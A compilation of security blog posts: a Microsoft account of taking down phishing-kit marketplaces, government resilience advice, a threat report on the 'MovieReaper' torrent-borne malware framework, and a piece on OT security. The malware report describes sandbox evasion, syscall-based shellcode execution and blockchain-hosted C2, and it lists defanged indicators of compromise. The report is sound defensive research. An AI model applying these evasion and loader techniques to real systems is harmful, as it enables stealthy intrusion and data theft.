In some cases, operators acquired internet domains that legitimate organizations had allowed to expire, often targeting certain sectors, such as non-profits and education, with specialized product offerings. They then rebuilt the websites to make those organizations appear active, allowing them to fraudulently obtain Microsoft 365 accounts that could later be sold through YAM Store.  

Ready-made tools

YAM Store provided criminal infrastructure that was frequently paired with tools and services such as CoGUI. As investigators dug deeper, they found that the marketplace was already evolving. CoGUI had become one of the most widely used offerings in the ecosystem, particularly targeting victims in Japan and the United States but by mid-2026 it was increasingly being replaced by a newer offering known as Iron Man. 

Iron Man expanded the model by giving criminals access to thousands of ready-made templates designed to impersonate trusted organizations. Criminals could then quickly deploy email, text and web content tailored to specific brands, industries and countries.  

Through test purchases and work with Resecurity, investigators gained access to Iron Man and identified more than 2,300 templates impersonating banks, retailers, healthcare providers, transportation authorities, police departments, government agencies, and other organizations across more than 150 countries worldwide. Some were designed for government impersonation scams, using the appearance of official authority to pressure victims into making payments or disclosing sensitive personal information. Others impersonated organizations across industries, countries, and languages, from banks and airlines to telecommunications companies, retailers, and parcel delivery services.  

Examples of these impersonation templates are below. Importantly, the presence of an organization or government entity in these templates does not indicate that its systems were compromised. 

A blog from Microsoft Threat Intelligence shares more details on the network, as well as steps customers can take to protect themselves.  

Putting the pieces together

No single organization saw the full picture. Japan’s NPA played a critical role throughout the investigation, providing intelligence, investigative support and collaboration that helped uncover how the operation worked. JC3 helped establish the scale of the activity affecting Japanese organizations and consumers. Health-ISAC provided insight into impacts affecting healthcare organizations, while Resecurity, Cloudflare, Oracle, Proofpoint and TRM Labs contributed intelligence and investigative support.  

Working together, and with the assistance of AI tools, we connected accounts, websites, and infrastructure that initially appeared unrelated, helping expose the broader criminal marketplace behind them. Microsoft also worked closely and shared intelligence with U.S. Secret Service and international law enforcement partners.

This investigation also reflects a broader trend highlighted in this year’s Microsoft Digital Defense Report: modern fraud increasingly relies on businesses and services that make it easier for criminals to reach more victims. It took two-way information sharing across industries and international borders to uncover how these deeply interconnected services worked together. 

Going after the suppliers

With an order from the United States District Court for the Southern District of Florida, Microsoft and Health-ISAC seized and redirected domains that were part of the underlying infrastructure powering YAM Store, CoGUI and Iron Man. Microsoft has already disabled more than 20,000 accounts connected to YAM Store and continues to dismantle the operation by removing infrastructure hosted on its services and blocking more than 100,000 domains used for impersonation and fraud.   

What began with scam activity targeting people and organizations in Japan led investigators to an underground service economy supplying criminals around the world. YAM Store, CoGUI and Iron Man are only part of that larger criminal network, but disrupting them makes it harder for criminals to obtain the accounts, tools and infrastructure they rely on. 

The scam message is often the only part victims see. The businesses behind it are what make it possible. 

The post Disrupting the service economy behind transnational cybercrime operations appeared first on Microsoft On the Issues.

According to this year’s Microsoft Digital Defense Report, government agencies and services were the sector most impacted by cyber threats in 2026, accounting for 27% of observed activity, up from 17% in 2025. Governments are also the most frequently targeted sectors for nation-state activity. They are attractive targets because they hold sensitive information, operate essential services, and sit at the center of networks of agencies, contractors, technology providers, and critical infrastructure operators.  

Dwell time, the period between when an attacker gains access and when defenders detect and stop them, also increased this year across multiple sectors. While organizations responded faster once an intrusion was identified, detecting threats early remains a challenge. Attackers increasingly gain access through techniques that mimic legitimate activity, making malicious behavior harder to spot. For example, phishing accounted for 23% of observed intrusions in 2026, up from 7% in 2025, highlighting the continued importance of compromised identities as an entry point for broader attacks. 

Taken together, the implication for governments is clear. Security in the AI era is no longer simply about preventing individual intrusions. It is about ensuring institutions can operate effectively in an environment where risks are interconnected, threats move faster, and attackers remain hidden longer. Public-private partnerships are also more important than ever for securing critical government infrastructure and developing the policies and regulations needed for emerging technologies.  

In this year’s report, which examines cyber threat trends observed between July 2025 and June 2026, Terrell Cox, Microsoft’s Corporate Vice President & Deputy Chief Information Security Officer, and I explore how these dynamics are reshaping cyber risk. In a companion blog, Terrell takes a closer look at what these findings mean for CISOs and security professionals.

 

To strengthen resilience, governments should focus on five priorities:

1. Prepare for a faster threat environment 

AI is compressing the window for action. Adversaries are moving faster. A vulnerability’s discovery in the wild to active weaponization can be well below 24 hours. While the number of publicly disclosed software vulnerabilities (commonly tracked as CVEs) is projected to reach a record 72,000 in 2026. 

Governments best prepared for the future will be those that can rapidly gather and assess information, make decisions, coordinate across institutions and industries, and communicate effectively during a crisis. This requires clearly defined responsibilities and trusted relationships established before an incident occurs, enabling swift and coordinated action when it matters most.  

2. Build security into the AI ecosystem  

AI is becoming part of the infrastructure that governments, businesses, and citizens rely on every day. As governments continue to adopt AI across public services and encourage its broader use, they should approach its security as a resilience challenge rather than a narrow technical issue. 

AI systems depend on interconnected infrastructure, data, models, applications, suppliers, and governance processes. Governments should promote security across this ecosystem through secure-by-design practices, testing and evaluation, stronger supply chain protections, transparency, accountability, and international cooperation on AI risk. 

The goal is not to create a separate AI security agenda. It is to integrate AI security into broader efforts to protect critical infrastructure and build national resilience. 

3. Plan for incidents to spread

Governments may not immediately know whether an intrusion is criminal, geopolitical, or something else. Cybercriminals and nation-state actors pursue different objectives, but increasingly rely on many of the same entry points, including compromised identities, exposed applications, social engineering, and legitimate administrative tools. 

Microsoft found that 52.2% of intrusions involving valid accounts resulted in additional credential theft, highlighting how quickly attackers can expand beyond an initial foothold. A seemingly isolated compromise can evolve into ransomware, espionage, data theft, or disruption of essential services. 

Governments should therefore assess incidents not only by how they begin, but by where they could lead. Response plans should account for the suppliers, partners, and service providers supporting critical functions. As attacks expand beyond their initial targets, they can also cross organizational, sectoral, and national boundaries, reinforcing the need for global collaboration. 

4. Enable timely, two-way public-private information sharing 

A compromised account at one organization may provide early warning of a broader campaign. Signals that appear inconclusive in isolation can reveal coordinated activity when combined across organizations and jurisdictions. Modern cybercrime operates through interconnected networks of actors, services, and infrastructure that no single institution can fully see or disrupt on its own. 

Information sharing must be timely, trusted, and two-way—also known as bidirectional. The goal is not simply for companies to report threats to government. Public agencies should also return actionable intelligence, guidance, and warnings that help organizations protect their networks, customers, and operations. Trusted channels can enable this exchange among government agencies, law enforcement, critical infrastructure operators, technology providers, and international partners while respecting legal and privacy requirements. 

Policymakers can support this cooperation through protections for good-faith information sharing, common anonymization standards, and investment in shared threat intelligence and detection capabilities. Information sharing should also lead to action, including investigations, disruption efforts, and accountability for those responsible for serious cyber intrusions. 

5. Prepare essential services to operate through disruption

The organizations governments depend on to deliver public services, including transportation systems, communications infrastructure, schools, universities, and critical infrastructure operators, are increasingly targeted by cyber threats. Resilience therefore requires understanding not only government systems, but the broader ecosystem that supports them.

Planning documents alone are not enough. Governments should regularly conduct tabletop exercises bringing together policymakers, operational leaders, law enforcement, critical infrastructure operators, and private-sector partners to test how they would respond to incidents disrupting essential services. These exercises can expose gaps in decision-making, information sharing, public communications, and cross-sector coordination before a real-world crisis. Microsoft’s work through initiatives such as the Advancing Regional Cybersecurity (ARC) program, most recently in Kenya, illustrates how scenario-based exercises and cross-sector collaboration can help strengthen preparedness and response capabilities across the broader ecosystem. 

Government leaders should also know which services are most critical, which identities, systems, suppliers, and infrastructure support them, and how incidents will be escalated. Shared-service approaches can help extend security and response capabilities to local governments and public institutions that cannot build them independently. 

As cyber incidents cross organizational and national boundaries, resilience depends not only on technical preparedness, but on whether institutions can coordinate effectively under pressure. 

In an era of AI-enabled and increasingly interconnected cyber threats, resilience is no longer simply about recovering from an attack. It is about preparing for a world in which cyber incidents move faster, spread further, and affect more organizations than ever before. Governments best prepared for the future will be those that can contain harm, adapt quickly, and continue delivering critical services when citizens need them the most.  

The post Preparing governments for an era of interconnected cyber risk appeared first on Microsoft On the Issues.

Introduction

Torrent trackers have long been abused for distributing malicious software, disguised as popular films, games, and other content. Our previous research has shown that cybercriminals repeatedly turn to torrents as an initial infection vector, using trojanized cracks and installers to reach a large number of users. Installation guides for pirated software routinely instruct users to disable their antivirus, conditioning them to ignore the potential threats they are inviting onto their computers.

During our analysis of malware that leverages blockchain networks for its C2 infrastructure, we discovered a previously unknown modular, multi-stage framework that we dubbed MovieReaper. This report details the new crimeware campaign that began with the mass infection of users via compromised torrent tracker file storage. We have identified several hundred victims, including both individual users and organizations in multiple countries, such as Russia, Türkiye, Japan, Kenya, Uganda, and Colombia, as well as in several European countries like Spain, the Netherlands, Belgium, and Germany. We analyze the techniques for evading detection by security and sandbox solutions, and examine the capabilities of the modular framework.

Kaspersky products detect this threat as HEUR:Trojan.Win64.Agent.gen.

Technical details

Background

In mid‑August 2026, during our threat‑hunting efforts, we identified a large‑scale infection campaign involving previously unknown malware disguised as popular movies. The campaign affected both individuals and organizations across multiple countries. Our initial analysis revealed a common denominator: all of the victims had used torrent trackers. This finding prompted us to investigate the campaign further and analyze its distribution mechanism, overall scope, and unknown malware implants.

Initial infection and spread

Compromised torrent trackers are the primary vector used to distribute malware. During our investigation, we identified multiple user reports describing suspicious files being downloaded instead of the intended content.

For example, a user of a popular movie torrent tracker reported the following case on Reddit:

Further analysis of the attack revealed that instead of compromising torrent trackers, the threat actor modified a widely used public repository of torrent files, itorrents[.]org. As a result, the trackers that relied on the repository began inadvertently distributing malicious torrent files to their users. This approach is particularly dangerous because it lets the threat actor reach users of multiple trackers without having to compromise each platform individually.

As of the publication date of this report, the archive remains compromised. When a user attempts to download a torrent via a magnet link, the legitimate torrent archive returns a different torrent file. This malicious torrent leads to the download of the malware loader, used to deploy a framework that we dubbed MovieReaper.

The loader initiates the infection chain shown in the diagram below. Each stage of the chain is described in detail in the following sections.

Malware implants

The infection chain consists of several steps, where only the initial one is dropped on the disk before it is executed to avoid detection. The malware itself is not heavily obfuscated, apart from strings being encrypted with a custom stream cipher. Most of the countermeasures were aimed at avoiding detection by AV sandboxes.

Step 1: Loader

The most popular initial executable was distributed through torrent trackers under many different names (for example, the odyssey (2026) [1080p] [webrip] [5.1].exe), but the file hash (MD5: A0B13781EDD7CFDAB13D79AFFF3C83C1) was identical across all downloads. We have seen multiple different loaders, where the executable file disguises itself with a long filename and an icon of some well-known application. Most of the filenames are rather long, presumably to hide the EXE extension at the end.

After the user manually starts the application, it establishes a global mutex to ensure that only one loader is executed at a time. We have seen several mutex variations in our samples, containing a randomly generated string (in the example Global\fnulSktzSqvVLXHU). This executable then performs a series of operations in order to avoid detection by AV sandbox solutions.

While performing those operations, the malware avoids making LoadLibrary and GetProcAddress calls to acquire the addresses of required functions. Instead, it searches for loaded libraries by traversing the double-linked list taken from the Ldr field of the PEB and then performs manual parsing of the loaded DLL to calculate the function address.

After all initial checks have passed, the binary prepares to establish a network connection to a C2 web server to download the shellcode, map it to the RWX memory and execute. While doing so, the loader decodes the domain name https://deadhub[.]org and if connection to it has failed, it uses the IP address http://193.23.118[.]155 as a fallback and connects to it using plain HTTP. The malware chooses a random group of strings and uses them as a path in the HTTP request to download the parts of the shellcode.

Example URLs:

/cloud/v192.4/ui/sync-status-icons.png
/cloud/v192.4/onboarding/welcome-bg.jpg
/cloud/v192.4/ui/file-preview-placeholder.png
/cloud/v192.4/shared/link-banner.jpg

While mapping the address space and executing the shellcode, the loader registers a vectored exception handler and rewrites the handler address in memory in order to perform a debug break. This, will not crash the program, but instead redirect controlflow to the function that actually makes a raw NtProtectVirtualMemory syscall (via a previously located “0x0F 0x05” syscall instruction inside ntdll). Then it calls the undocumented ntdll function EtwpCreateEtwThread, which is a popular alternative to  CreateThread for code executionm, and executes the shellcode.

Step 2: Shellcode

The second stage of this malware performs an HTTPS request to the Solana blockchain at the endpoint /getAccountInfo endpoint for the account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm. The data in field of the response contains the base64‑encoded address of a second C2, which is encrypted with a static XOR key located within the shellcode itself. To store data in this account, attackers used a simple Solana program (address: CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL).

Utilizing the Solana blockchain as a storage layer for next-stage C2 endpoints substantially complicates infrastructure takedown efforts by defenders.

The second stage payload communicates with its C2 server strictly through HTTPS via a TLS-pinned certificate using the nanopb protobuf library as a container for transferred data. The main logic of the stage 2 implant contains several initial commands, where the most important is the one that parses the COFF file, loads it into memory, and executes the module_init function from it. This provides a convenient interface for extension of the command list, which brings us to the next stage of the payload.

Step 3: UAC Bypass and persistence

Notably, the recovered modules were compiled with symbols, which accelerated reverse engineering.

After receiving the next stage from the second C2 server, the newly loaded module performs several tasks right in the module_init function.

Stage 3 performs UAC Bypass and achieves persistence using public techniques, masquerades the original binary as C:\ProgramData\Microsoft\Windows\Telemetry\msedge.exe, and restarts itself.

The respawned process starts with the initial loader, but with a special command-line argument, which allows it to skip most of the anti-sandboxing checks and proceed straight to downloading the next payload. The executable proceeds with the same steps as before, but this time, instead of downloading the persistence and UAC bypass module, a new one is downloaded from the second C2 server. This is because the malware uses the beacon to send a flag to the remote server, indicating whether the implant is running from the Telemetry folder, which allows the C2 to distinguish between first-run and respawned instances.

Step 4: The final implant

The final module (“file manager”) exposes 21 commands that give the operator filesystem access on the victim host. This allows remote the operator to download, upload, and read files on the system; list and enumerate directories; manipulate files with create, copy, rename, move, delete, chmod, and symlink commands; and use preview and thumbnail commands to exfiltrate previews of images and files before actually extracting them.

We suspect that other modules may be loaded on demand if requested by the operator.

Infrastructure

During this malware campaign, attackers are using various commercial hosting providers for their C2 infrastructure (see the IoC section for details). Furthermore, as noted above, the campaign leverages the legitimate Solana blockchain via the RPC endpoint api.mainnet.solana.com to deliver the address of the second‑stage C2 server to the malware. This approach provides the attackers with decentralized storage for C2 addresses, adding an additional layer of resilience and making it more difficult for defenders to disrupt the campaign by simply blocking the IP addresses of the C2 servers.

Victims

The observed campaign targeted both individuals and organizations across Europe, Asia, Africa, and Latin America, with infection attempts identified in Russia, Spain, Germany, Finland, Türkiye, Japan, Nepal, Kenya, Tanzania, Ghana, Uganda, Colombia, the Netherlands, Belgium, and other countries. The targeted organizations span a wide range of sectors, including enterprise, government, IT, consulting, retail, transportation, and agriculture.

Conclusions

Our research uncovered activity by the same actor dating back to October 2025. Although the campaign has evolved over time, with the malware authors expanding their arsenal and making the loader harder to detect, the pattern remains the same. This includes encoded strings, parts of shellcode downloaded through plain HTTP, and several techniques used to avoid sandboxes and virtual machines. We will continue monitoring this actor’s activity to catch new potential threats.

The first stage offers the clearest opportunity to disrupt this campaign: it relies on a single specific domain name and a single IP address to serve the shellcode, so taking down this server would prevent subsequent infection stages. This includes the second-stage payload, which uses the Solana blockchain network for a C2 and is therefore more resistant to conventional infrastructure takedowns.

However, this framework’s self-containment, modularity and in-memory execution has potential for reuse in later campaigns with minimal rework.

Indicators of compromise

File hashes

4334BBAEA8DE33BF9D45E9B4E4E3BC2
4843F9FAFCAE492F11E2D4D33DBB4CDD
5310CABAE3FBE6DB8742849B588093F9
A0B13781EDD7CFDAB13D79AFFF3C83C1
70060341CAF3338697A7DDFE0FB62875
AD4643EEA15AC286FA47D1131F9EF756
D0B967571AC8A3863C7F324BF5BDE99C
D88D550D0FB8E60CFFFF3EA61FF7A067

File paths

%ProgramData%\Microsoft\Windows\Telemetry\msedge.exe

Mutexes

Global\E4AyDKzvEhe2hgAr
Global\fnulSktzSqvVLXHU

Domains and IPs

First-stage C2:
deadhub[.]org
193.23.118[.]155

Second-stage C2:
208.64.33[.]90
208.94.246[.]53

For decades, industrial cybersecurity rested on a comfortable assumption: operational technology (OT) was protected by physical isolation. The "air gap" guaranteed that power grids, manufacturing lines, and water systems remained safely disconnected from the chaos of the public internet.

That assumption is no longer just outdated - it is a strategic liability.

Driven by the imperative for real-time efficiency, predictive maintenance, and AI-led automation, industrial operations are integrating with enterprise IT and cloud environments at an unprecedented scale. Telemetry from Palo Alto Networks reveals a 332% surge in unique internet-exposed OT devices and services, bringing nearly 20 million OT-related assets onto the public internet.

Digital transformation has fundamentally redrawn the perimeter. What was once an engineering challenge managed on the plant floor has transformed into an existential risk that demands board-level oversight.

Every Industrial Asset Is Now a Digital Asset

Modernizing critical infrastructure is rarely framed as a security initiative; it is an operational mandate. Heavy machinery engineered to last thirty years is now instrumented with IoT sensors, managed through cloud-native platforms, and remotely monitored.

This connectivity creates tight dependencies between core business IT and physical operations. Modern industrial facilities rely on enterprise identity management, cloud telemetry, and continuous software updating to function day to day.

Consequently, a threat actor does not need to breach the factory floor to stop production.

When an enterprise IT network suffers an incident, executive leadership often initiates a manual shutdown of operational lines out of caution or because shared authentication mechanisms become unavailable. The business processes linking enterprise IT and OT have become functionally inseparable.

The Anatomy of Modern Industrial Threats

Attackers no longer require sophisticated, state-sponsored zero-day exploits to disrupt physical infrastructure. As seen in recent cyber incidents targeting municipal water systems in the US and the breach of a Polish power plant, threat actors continuously exploit basic internet exposure, unpatched vulnerabilities, weak default credentials, and unsegmented remote connections.

Threat dynamics across critical infrastructure have shifted toward two major vectors:

• Low-Friction Initial Access: Basic internet discovery tools allow threat actors to identify exposed control systems and programmable logic controllers (PLCs) in minutes. Weak factory default passwords or unsegmented cellular modems provide direct entry points into physical operations.
• Operational Blindness: Modern attacks deliberately target the reporting layer - such as HMI and SCADA interfaces - to suppress alarms and present "normal" operational telemetry to engineers, even while underlying physical processes operate dangerously out of specification.

Operational Realities and the Zero Trust Imperative

The integration of artificial intelligence and automated workflows into industrial environments accelerates this challenge. Beyond human engineers logging into control networks, automated software pipelines, third-party monitoring platforms, and autonomous AI agents are executing commands within OT environments.

Data from recent identity landscape research reveals that machine identities outnumber human identities by 109 to 1 across EMEA organizations.

In an environment populated by millions of interconnected human, machine and AI actors, implicit trust based on network location is dangerous. Applying Zero Trust to OT requires moving away from traditional perimeter defense toward continuous, explicit verification:

• Verify Explicitly: Authenticate and authorize every access request - human or machine - regardless of where the request originates.
• Enforce Least-Privilege Access: Limit access strictly to the assets and commands necessary for a specific operational role or process.
• Assume Breach: Design networks under the assumption that enterprise systems are compromised, preventing lateral movement into physical control layers.

The Industrial "Red Button": Engineering for Containment

While IT security prioritizes data confidentiality, OT security prioritizes human safety, system availability, and operational continuity. Halting a processing facility or energy grid carries immediate financial, environmental, and regulatory consequences. Security controls designed for corporate office networks cannot simply be retrofitted onto plant floors.

Cyber resilience is measured not merely by prevention, but by limiting the blast radius when a breach occurs.

Leading industrial organizations are establishing a programmable "Red Button" capability - a combination of architectural micro-segmentation and automated playbooks. This architecture allows security teams to rapidly isolate critical physical operations from compromised IT networks or cloud dependencies without bringing production to a complete halt.

Five Strategic Actions for Executive Boards

With regulatory frameworks like NIS2 increasing direct accountability for senior leadership, OT cybersecurity requires strategic governance centered on comprehensive visibility, robust micro-segmentation, operational risk scoring, and virtual patching:

• Establish Complete Asset Visibility: Eliminate dark corners across physical environments. Organizations must maintain a continuous, real-time inventory of every connected industrial asset, controller, and external dependency.
• Embed Security by Design and Virtual Patching: Integrate cybersecurity requirements directly into industrial modernization programs from initiation. Deploy virtual patching mechanisms - such as Frontier Virtual Patching - to shield unpatchable legacy systems against rapidly evolving AI-driven threats.
• Architect for Degraded Mode: Design critical infrastructure to maintain safe, baseline operations even if cloud access, enterprise IT, or external network connections are severed.
• Practice Operational Recovery: Develop and stress-test incident response playbooks specifically designed for physical environments, including offline configuration backups and manual operational overrides.
• Unify Risk Governance: Align executive leadership, security operations, and plant engineering around operational-based risk scoring and shared business metrics: physical safety, system uptime, and operational continuity.

Accelerating digital transformation should not mean compromising physical safety or operational stability. Palo Alto Networks provides an integrated platform built to address the unique constraints of operational environments. By combining AI-driven asset discovery, granular micro-segmentation, continuous risk assessment, and virtual patching across both enterprise IT and physical control networks, Palo Alto Networks empowers industrial organizations to modernize with confidence - securing operations, protecting revenue, and safeguarding national infrastructure.

Further interesting reading:

• ‘Complexity at the intersection of IT and OT’ – Executive Edge Peer Guide  
• A CISO’s guide to navigating OT & IT convergence in the manufacturing industry

The post Why OT Resilience Is Now a Boardroom Imperative appeared first on Palo Alto Networks Blog.